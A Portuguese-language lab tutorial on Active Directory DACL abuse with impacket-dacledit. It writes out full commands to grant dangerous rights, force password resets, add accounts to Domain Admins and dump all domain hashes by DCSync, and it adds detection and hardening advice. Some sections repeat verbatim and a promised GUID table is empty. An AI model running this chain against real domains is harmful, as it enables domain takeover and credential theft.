IMPACKET DACLEDIT: ABUSO DE DACL NO ACTIVE DIRECTORY

Introdução

Discretionary Access Control Lists (DACLs) estão entre os componentes mais poderosos — e mais mal compreendidos — do Microsoft Active Directory. Todo objeto AD (usuários, grupos, OUs, o próprio domain root) carrega um security descriptor que inclui uma DACL: uma lista ordenada de Access Control Entries (ACEs) que concedem ou negam permissões específicas a security principals específicos.

Quando administradores configuram mal essas ACEs, atacantes podem aproveitá-las para escalar privilégios, resetar senhas de contas privilegiadas, replicar segredos do domínio e, por fim, comprometer o domínio inteiro — sem nunca tocar em um exploit tradicional.

Este artigo percorre uma cadeia de ataque completa e realista contra o ambiente Active Directory ignite.local, demonstrando múltiplos caminhos de escalada de privilégios baseados em DACLs mal configuradas, observados durante um penetration test. Cada técnica é documentada com o tooling exato utilizado, os passos de verificação e — criticamente — a limpeza (restauração de DACLs) realizada posteriormente.

Importante: Todas as demonstrações ocorrem em um laboratório controlado e autorizado (domínio ignite.local, IPs RFC1918, credenciais fictícias). Nunca execute estas técnicas contra sistemas sem autorização explícita por escrito.

Fundamentos: DACL e ACE no Active Directory

O que é DACL?

Uma DACL (Discretionary Access Control List) é um componente de todo security descriptor de objeto AD. Ela contém zero ou mais ACEs, cada uma especificando:

• Um security principal (usuário, grupo, computador) identificado por SID
• Um access mask definindo quais ações são permitidas (ex.: ReadProperty, ControlAccess, WriteDACL, GenericAll)
• Um tipo de ACE: ACCESS_ALLOWED ou ACCESS_DENIED
• GUIDs opcionais de object-type que restringem a permissão a um extended right ou atributo específico

Por que DACLs importam para atacantes

Diferente de vulnerabilidades tradicionais, abuso de DACL explora funcionalidades legítimas do Windows. Se um atacante consegue escrever na DACL de um objeto, ele pode se conceder qualquer permissão — silenciosamente e sem disparar a maioria das ferramentas de segurança. Direitos perigosos incluem:

• ForceChangePassword (GUID User-Force-Change-Password: 00299570-246d-11d0-a768-00aa006e0529)
• WriteDACL / FullControl em grupos
• WriteMembers (GenericWrite em membership de grupo)
• DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All no domain root)

Técnica 1: ForceChangePassword

Visão Geral

O extended right User-Force-Change-Password (GUID: 00299570-246d-11d0-a768-00aa006e0529) permite que um security principal altere a senha de outro usuário sem conhecer a senha atual. É comumente mal configurado em ambientes AD onde contas de helpdesk ou suporte receberam esse direito para reset de senhas, mas o escopo foi aplicado amplamente demais.

Conceder ForceChangePassword

Usando credenciais de administrador, o direito ResetPassword é escrito na DACL do objeto de usuário CN=tom,CN=Users,DC=ignite,DC=local, concedendo-o ao principal jerry:

impacket-dacledit -action write -rights ResetPassword -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Conceder ForceChangePassword

Usando credenciais de administrador, o direito ResetPassword é escrito na DACL do objeto de usuário CN=tom,CN=Users,DC=ignite,DC=local, concedendo-o ao principal jerry:

impacket-dacledit -action write -rights ResetPassword -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Verificar ACE ForceChangePassword

O comando revela que o usuário jerry tem uma permissão delegada específica sobre o objeto tom no domínio ignite.local:

impacket-dacledit -principal jerry -target 'tom' -dc-ip 192.168.1.11 ignite.local/jerry:Password@1

Alterar Senha e Validar (ForceChangePassword)

O módulo change-password do NetExec realiza o reset de senha — sem conhecimento da senha atual de tom:

nxc smb 192.168.1.11 -u jerry -p Password@1 -M change-password -o USER=tom NEWPASS=Admin@123

nxc smb 192.168.1.11 -u jerry -p Admin@123

Restaurar DACL (ForceChangePassword)

Após demonstrar a vulnerabilidade, a DACL original é restaurada:

impacket-dacledit -action restore -file dacledit-20260328-141554.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Técnica 2: FullControl sobre Domain Admins

Visão Geral

Se um atacante ganha FullControl (GenericAll) sobre um objeto de grupo, ele pode manipular diretamente a associação, alterar a DACL do grupo ou realizar qualquer outra ação naquele objeto. Obter FullControl sobre o grupo Domain Admins é efetivamente um caminho para comprometimento do domínio.

Conceder FullControl

impacket-dacledit -action write -rights FullControl -principal raaz -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Conceder FullControl

impacket-dacledit -action write -rights FullControl -principal raaz -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Verificar ACE FullControl

Lendo a DACL do grupo Domain Admins como raaz confirma FullControl (equivalente a GenericAll) presente através das numerosas entradas ACCESS_ALLOWED_OBJECT_ACE:

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/raaz:Password@1' -dc-ip 192.168.1.11

Adicionar raaz a Domain Admins

Com FullControl, raaz pode adicionar a si mesmo ao grupo via net rpc:

net rpc group addmem "Domain Admins" "raaz" -U ignite.local/raaz%'Password@1' -S 192.168.1.11

Confirmando associação:

net rpc group members "Domain Admins" -U "ignite.local/raaz%Password@1" -S 192.168.1.11

Restaurar DACL (FullControl)

Após demonstrar a vulnerabilidade, a DACL original é restaurada:

impacket-dacledit -action restore -file dacledit-20260328-142121.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Técnica 3: DCSync via Domain Root DACL

Visão Geral

DCSync é uma técnica que abusa do protocolo MS-DRSR (Directory Replication Service Remote Protocol) para solicitar replicação de dados de credenciais de um Domain Controller — como se fosse outro DC. Dois extended rights no domain root são necessários:

• DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
• DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Conceder ambos a um usuário não-privilegiado permite dumpar todas as credenciais do domínio, incluindo o hash do krbtgt — permitindo ataques Golden Ticket.

Conceder Direitos DCSync

Duas abordagens foram demonstradas. A primeira usou um arquivo de backup nomeado para rastreamento limpo:

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11

Conceder Direitos DCSync

Duas abordagens foram demonstradas. A primeira usou um arquivo de backup nomeado para rastreamento limpo:

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11

Verificar ACEs DCSync

Lendo de volta as ACEs de kinjal no domain root confirma ambos os direitos de replicação:

impacket-dacledit -principal kinjal -target-dn "DC=ignite,DC=local" -dc-ip 192.168.1.11 ignite.local/kinjal:Password@1

Executar DCSync (Dump Hashes)

Com os direitos de replicação em vigor, impacket-secretsdump realiza um dump completo de credenciais via DRSUAPI (nota: DCERPC RemoteOperations falhou, caindo para DRSUAPI — isso é normal):

impacket-secretsdump ignite.local/kinjal:Password@1@192.168.1.11

Restaurar DACL (DCSync)

Após demonstrar a vulnerabilidade, a DACL original é restaurada:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Técnica 4: WriteMembers

Visão Geral

A permissão WriteMembers permite que a conta ankur adicione ou remova membros do grupo Domain Admins sem requerer privilégios de Domain Admin. Isso representa um backdoor persistente — mesmo que a associação de grupo de ankur seja revogada, a permissão DACL subjacente permanece, permitindo re-elevação.

Conceder WriteMembers

A permissão WriteMembers é concedida a ankur sobre o grupo Domain Admins:

Figura: Concessão de WriteMembers para ankur sobre Domain Admins

Conceder WriteMembers

A permissão WriteMembers é concedida a ankur sobre o grupo Domain Admins:

Verificar ACE WriteMembers

Lendo a DACL como ankur mostra múltiplas ACEs READ (herdadas do baseline) e o recém-concedido acesso WriteMember:

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/ankur:Password@1' -dc-ip 192.168.1.11

Adicionar ankur a Domain Admins via bloodyAD

Com WriteMembers, ankur pode adicionar a si mesmo ao grupo via bloodyAD:

bloodyAD --host "192.168.1.11" -d "ignite.local" -u "ankur" -p "Password@1" add groupMember "Domain Admins" "ankur"

Técnica 5: GUID-Based ACE Writing

Visão Geral

Em vez de usar o atalho de named rights, o impacket-dacledit suporta escrita de ACEs pelo GUID bruto do extended-right via -rights-guid. Isso é útil para direitos que não têm atalhos nomeados, ou para scripting de adições precisas de ACE.

Exemplo: Escrevendo ForceChangePassword por GUID

O GUID User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529) é especificado diretamente:

impacket-dacledit -action write -rights-guid 00299570-246d-11d0-a768-00aa006e0529 -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Usando -file para Backup e Restore

A opção -file é usada para salvar e restaurar permissões do Active Directory, tornando-a uma opção crítica para modificação e recuperação segura de ACLs.

Salvar Arquivo de Backup

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11 -file dcsync_backup.bak

Usar Arquivo Salvo

Após demonstrar a vulnerabilidade, a DACL original é restaurada:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Tabela de GUIDs de Direitos AD

A tabela abaixo referencia GUIDs de extended rights comumente abusados em ataques de DACL:

Detecção e Recomendações Defensivas

Oportunidades de Detecção

• Event ID 4662 — Objeto acessado: Registra quando uma DACL é lida em um objeto AD (requer auditoria habilitada no OU/objeto alvo).
• Event ID 4670 — Permissões alteradas: Disparado quando uma DACL é modificada. Alertar em mudanças em objetos sensíveis (grupo Domain Admins, domain root, objetos de usuários privilegiados).
• Event ID 4728/4732/4756 — Membro adicionado a grupo habilitado para segurança: Dispara quando associação de grupo muda. Correlacionar com contas que não gerenciam membership normalmente.
• Event ID 4769 com SPNs de replicação: DCSync gera requisições de service ticket Kerberos para o SPN E3514235-4B06-11D1-AB04-00C04FC2DCD2 — alertar nessas requisições vindas de IPs não-DC.
• Monitoramento LDAP: Observar buscas LDAP grandes em atributos nTSecurityDescriptor vindas de contas não-administrativas.

Recomendações Defensivas

• Auditar todas as atribuições de DACL em objetos AD sensíveis trimestralmente. Primeiro, usar ferramentas como BloodHound, PingCastle ou Semperis DSP para enumerar caminhos de ataque.
• Aplicar princípio do menor privilégio — nenhum usuário padrão deve ter WriteDACL, GenericAll ou WriteMembers em grupos de alto valor.
• Habilitar Advanced Audit Policy para DS Access (Audit Directory Service Changes). Ingerir Event 4670 no SIEM com alerta de alta prioridade.
• Implementar modelo administrativo em tiers — contas de helpdesk gerenciando senhas nunca devem ter direitos em objetos tier-0 (domain controller / domain root).
• Deploy Microsoft Defender for Identity (MDI) ou equivalente — detecta tentativas de DCSync, modificações suspeitas de DACL e padrões de lateral movement.
• Rotacionar senha do krbtgt regularmente (duas vezes, 10 horas de intervalo) para invalidar Golden Tickets existentes.
• Monitorar assinaturas de ferramentas impacket, bloodyAD e dacledit no nível de rede e endpoint (NTLM na porta 445 a partir de hosts Linux, tráfego DRSUAPI de fontes não-DC).

Conclusão

O abuso de DACL representa uma das categorias mais impactantes — e frequentemente negligenciadas — de ataques a Active Directory. Diferente de exploração de vulnerabilidades, esses ataques aproveitam mecanismos de permissão built-in do Windows. Consequentemente, produzem artefatos ruidosos mínimos e frequentemente bypassam controles de segurança tradicionais.

O laboratório ignite.local demonstrou que um usuário de baixo privilégio com uma única ACE mal configurada pode escalar a Domain Admin e obter todas as credenciais do domínio em minutos. A cadeia completa de ataque — do ForceChangePassword inicial ao DCSync completo — não requereu exploits, malware, nem lateral movement complexo.

A boa notícia: esses caminhos de ataque são inteiramente preveníveis através de higiene adequada de ACLs, administração em tiers e monitoramento robusto. Auditoria regular de DACLs com ferramentas como BloodHound, combinada com detecção SIEM para Event ID 4670 e indicadores de DCSync, pode reduzir drasticamente a superfície de ataque.

Ferramenta ≠ Técnica ≠ Ameaça. O impacket-dacledit implementa T1021.002/T1003.006/T1078; a ameaça real é o operador que sabe navegar as restrições do ambiente. A defesa eficaz foca na cadeia operacional, não no binário.